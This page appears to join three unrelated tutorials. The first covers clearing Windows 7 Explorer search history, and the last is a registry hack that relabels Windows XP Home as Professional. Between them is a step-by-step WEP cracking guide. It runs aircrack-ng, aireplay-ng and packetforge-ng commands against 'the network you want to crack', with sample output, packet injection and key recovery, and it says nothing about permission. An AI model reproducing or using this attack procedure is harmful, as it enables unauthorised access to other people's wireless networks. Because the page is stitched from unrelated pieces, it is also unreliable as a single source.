Delete or Disable Recent Search Entries History in Windows 7 (Explorer) Search Box

Windows 7 allows users to check for files in Windows Explorer via the tiny search box in Windows Explorer. Users can easily locate files by typing the relevant keywords in the search box instead of navigating through all the folders. The search box will scour all programs and all folders in users’ personal folder and also search through all e mail messages, saved instant messages, appointments, contacts, etc. Even though this search feature is useful and helpful, there is a small problem that might matter to some users. By default, Windows 7 will automatically store all the search queries in the history.

Every time users make searches in Windows Explorer, users will find the recent search list appear in the drop down menu of the search box. Some users especially those who need to share their computer with others might feel uncomfortable with this if they need to keep their activities a secret from others. If you are one of these users or if you do not want your previous search entries to appear in the Windows Explorer search box for other reasons, there are two options for you to get rid of it: delete the historical search entries or disable/turn off display of the recent search entries.

Delete The Historical Search Entries
To delete the historical search entries or queries, the easiest way is just to click on the search entries and hit the “Delete” button from the keyboard to delete them permanently.









Alternately, users can go to Windows 7 Registry file to delete the historical searches. Users just need to type Regedit in the search box at the Start Menu, click on to the Regedit icon to access the Windows Registry Editor. In the Windows Registry Editor, go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ WordWheelQuery
At the WordWheelQuery folder, right click WordWheelQuery and select “Delete” from the sub-menu.



Users will be prompted with a dialogue box notifying users: “Are you sure you want to permanently delete this key and all of its subkeys?” Click Yes to continue. By doing so, users will be able to clean all search entries.
Turn Off or Disable Display of Recent Search Entries in the Windows Explorer Search Box
If users feel that continuously deleting the search entries is troublesome and a waste of time, users can opt to disable the search box from storing historical search entries. To do so, users who are using Windows 7 Professional (Business), Enterprise and Ultimate Editions can make changes to the group policy via the Local Group Policy Editor available in Windows 7.
Open the Local Group Policy Editor. In the Local Group Policy Editor, go to User Configuration\Administrative Templates\Windows Components\Windows Explorer. In the right-side pane, just look for Turn off display of recent search entries in the Windows Explorer search box item and double click on it to set it as Enabled. By changing the default policy setting, the machine will not display your recent searches in the search box anymore. This policy also prevents search strings from persisting in the user portion of the registry.
For Windows 7 Starter, Home Basic and Home Premium, users who do not have Local Group Policy Editor can create the same effect by making some registry hack. Users can go to Windows 7 Registry Editor again. In the Windows Registry Editor, locate the following branch:
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer
Users might not find the “Explorer” branch. Hence, they need to create it manually. Users can right click “Windows”, select New Key and enter “Explorer”.


Right click “Explorer” and create a DWORD value named DisableSearchBoxSuggestions. Double-click the DisableSearchBoxSuggestions and set its data as 1.


Once it is done, users can exit the Registry Editor and restart the computer for the new setting to take effect. Users will notice the suggestions for recent search entries at the Search Box no longer appear.
If deleting the search entries and turning off the display of recent search entries are not ideal solutions, users’ final resource perhaps is to completely disable the Windows Search feature. By doing it, the Search Box will be completely removed from Windows Explorer. To disable the Windows Search feature, users can go to Control Panel -> Programs -> Turn Windows features on or off. Users will be prompted with a tiny Windows with all programs listed. Scroll down the list and uncheck the box next to Windows Search. Click OK to continue. Users will thence be prompted with a reminder to warn users: Turning off Windows Search might affect other Windows features and programs installed on your computer, including default settings. Do you want to continue?. Users can chose Yes to continue and thence restart the computer for the changes to take effect.







How to Crack WEP with aircrack + inject packets (WINDOWS)

This is a tutorial for cracking WEP and injecting packets for networks with no clients. You'll be able to do so on a windows platform (tested in VISTA and works)!
-------------------------------------------------------------------------------------------

First of all I've got all my info out of this thread and the links posted there:
http://tazforum.thetazzone.com/viewtopi ... sc&start=0
I can only make this tutorial thanks to Zermelo that kept answering my question when I was lost.


GETTING EVERYTHING READY:

- The first and most important thing to do is to get an adapter that works with airodump:
check this thread for that:
http://tazforum.thetazzone.com/viewtopic.php?t=6235
and this one:
http://tazforum.thetazzone.com/viewtopi ... 01&start=0

- Then you need to install the proper drivers for your card. (I used the commview drivers.) If your card isn't compatible with Commview you'll need to install the wildpackets drivers.

to do this for cards compatible with commview download comm view here and install its drivers:
http://www.tamos.com/bitrix/redirect.ph ... es/ca5.zip

for other cards download the wildpackets drivers here:
http://www.wildpackets.com/support/downloads/drivers

NOTE: I'm going to base the rest of this tutorial on a card with the commview drivers installed!

- Next step is to download this .dll file (again only commview driver users):
http://darkircop.org/commview.dll

- Next up, download the aircrack package. Download it here:
http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

unzip the file to your c:\ drive (it can be another drive but this is the easiest)

put the commview.dll file you just downloaded in the map you extracted (it's called aircrack and if you extracted it to your c: drive like I said it should be in c:\aircrack\)

Now go to you place where you installed Commview in (the program itself) and look for a file called "ca2k.dll" (default install dir is c:\program files\commview for wifi\)

Copy this file to the same folder as the commview.dll (c:\aircrack\)

OKAY that was a whole lot! this was just to get everything ready! If you did all of this correct you'll be able to move to the next step!
-------------------------------------------------------------------------------------------

THE CRACKING:

Step 1:
- Open a command prompt (start > run > cmd.exe)

Step 2:
- type the following in the command prompt:
cd c:\aircrack\

- HIT ENTER

Step 3:
- type the following in the same command prompt:
airserv-ng -d commview.dll

- HIT ENTER
- You should see something like this coming up in the command prompt
Opening card commview.dll
Setting chan 1
Opening sock port 666
Serving commview.dll chan 1 on port 666


Step 4:
- Open a new command prompt (LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES!!)
- Typ the following the the new command prompt:
cd c:\aircrack\

-HIT ENTER

Step 5:
- Now typ this in the same command prompt:
airodump-ng 127.0.0.1:666

- HIT ENTER

note: if you know what channel the to-monitor-network is on you can make it this. I recommend this!:
airodump-ng --channel YOURCHANNELNUMBER HERE 127.0.0.1:666


Airodump-ng should start capturing data from the networks on the given channel now, you'll notice it isn't going fast (except if it's a big company's network or something). We are going to speed this process up!
Take a note of the following:
1: BSSID of the network you want to crack = MAC address.
2: ESSID of the network you want to crack = name of the network (example: wifi16, mynetwork,...)
3: The mac of the card you are using to monitor the packets

LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN!!!

Step 6:
- Open a new command prompt
- Type in the following:
cd c:\aircrack\

- HIT ENTER

Step 7:
- Type in the following in command prompt:
aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666


yes quite confusing so a quick example:
ESSID = wifi16
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666


if all goes well you'll get this as the outcome:
Sending Authentication Request
Authentication successful
Sending Association Request
Association successful :-)


if you get:
AP rejects the source MAC address

It means MAC filtering is enabled on the network you want to crack and you'll need to get hold of a mac address that's allowed access.

if you keep getting:
sending authentication request

Try moving closer to the AP!

Step 8:
in the same command prompt as the one in step 7 type:
aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666


yes quite confusing once again so a quick example:
BSSID = 11:22:33:44:55:66
MAC OF CARD I'M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -5 -b 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666


if all goes well you'll get this:
Waiting for a data packet...
Read #number packets...


Step 9:

if you wait a little bit you'll soon be prompted with a packet like this:

Size: 120, FromDS: 1, ToDS: 0 (WEP)

BSSID = the bssid
Dest. MAC = the dest mac
Source MAC = the source mac

0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B..........l~@.
0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.

0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D...w.....


note: size can vary, I always pressed in y and it worked
- press in Y
- HIT ENTER

You should see something like this coming up (or similar):
Saving chosen packet in replay_src-0124-161120.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream


Note 1: It doesn't need to be 1500 bytes!!
Note 2: Check the bold part, you're going to need this file!

AGAIN DON'T CLOSE THIS COMMAND PROMPT!!

if you keep getting:
Data packet found!
Sending fragmented packet
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
No answer, repeating...
Sending fragmented packet
...

Just keep trying! It automatically starts over again (moving closer to the AP has been reported to help.)



anyways, if you got the bytes of keystream (everything worked) it's time for the next step!

Step 10:
- Press CTRL + C in the command prompt used in step 8
- Now type in the following:
packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l (= an ELL not a 1) 192.168.1.1 -y fragment-0124-161129.xor -w arp-request


Remember the file I made bold in part 8? Well it's obviously the same as in 9 meaning you need to put the same filename here.
The part I made green here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps!

Step 11:
Now that we've got our ARP REQ packet we can start injecting!
Here's how to do this.
- Go to the command prompt used in step 9
- Type in the following:
aireplay-ng -2 -r arp-request 127.0.0.1:666

The green part once again indicates the filename!

You should now see something like this coming up:
Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......
0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......
0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M
0x0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :.....gC.V$.....
0x0040: d64f b709 .O..

Use this packet ?

- Type in Y
- HIT ENTER

This should come up now:
Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.

sent #numberOfPackets ... (#number pps)

You'll see the numberOfPackets rising really fast, you are injecting these packets now.

Step 12:
Now go back to the command prompt where you had airodump-ng in open
and press CTRL + C
now type in the following:
airodump-ng --channel CHANNELYOUWANTTOCAPTUREFROM --write Filename 127.0.0.1:666

Note: Filename = The name of the file where the data packets are saved, this will be used in the next step

If all goes correct you should be capturing as much packets per second as you are injecting (maybe even more).

Step 13:
when you think you have enough...
note: 200000 min for 64bit (just capture 1Million to be sure)
...press CTRL + C in the command prompt that has airodump-ng running and enter the following:
aircrack-ng -n 64 Filename.cap


note:
Filename = see previous step
64 = the bit depth of the key (128 for 128bit etc...)


and if it goes like planned a message will pop-up saying:
KEY FOUND: YourKey


That's it! I hope this was helpful, any question/remarks/complaints please ask/tell and I'll try to help/respond as soon as possible!!

How to Convert and Upgrade Windows XP Home to Professional Without Reinstalling

After installing Windows XP Home Edition or Windows XP Professional Edition onto a computer
, officially it’s impossible for user to convert, or upgrade from Windows XP Home to Pro edition, or downgrade from Windows XP Professional to Home edition without reformatting and reinstalling the operating system from clean and fresh state.

A lot of people always associate conversion of Windows XP edition to illegitimate or privacy reason, but sometimes, there may be legitimate and genuine reason for change, such as customer, who all the while using Windows XP Home Edition (HE) finally buy a genuine license product key for Professional edition to replace the illegal pirated version installed, or user receives additional license as gift, but don’t want to go through clean install Windows XP again, or want to keep using the computer with all data intact without interruption.

Here’s a trick to convert and turn Windows XP Home Edition to Windows XP Pro Edition, from within the operating system without going through installation again. Ok, let’s be frank. The hack doesn’t actually install and add in all the features from Windows XP Professional that Windows XP Home lacks of, such as Remote Desktop Server (see guide to install Remote Desktop on XP Home) and Group Policy Editor (GPedit) utility tools, which has been removed on Windows XP Home edition. Some functions which turned off and disabled via integrated switches which read from registry flag whether it’s Home or Professional edition, such as EFS, RAID support and ability to join domain, may or may not work after migration. Basically, the trick only work to let Windows XP recognizes itself as Professional edition.

To convert and upgrade Windows XP Home to Windows XP Professional, follow procedure below.

   1. Open Registry Editor (regedit).
   2. Navigate to HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00X/Control/ProductOptions, where ControlSet00X is the one with the highest number.
   3. Delete the ProductSuite registry key.
   4. Then, create a new DWORD value and named it as Brand.
   5. Set the “Brand” value data as 0.
   6. Reboot the system.
   7. On boot up after the BIOS screen, press F8 to display Windows XP Startup Menu.
   8. Choose Last Known Good Configuration (LNG) and hit Enter.

Windows XP will start up as usual. After logging into the desktop, check the system properties to verify that it’s now Windows XP Professional.
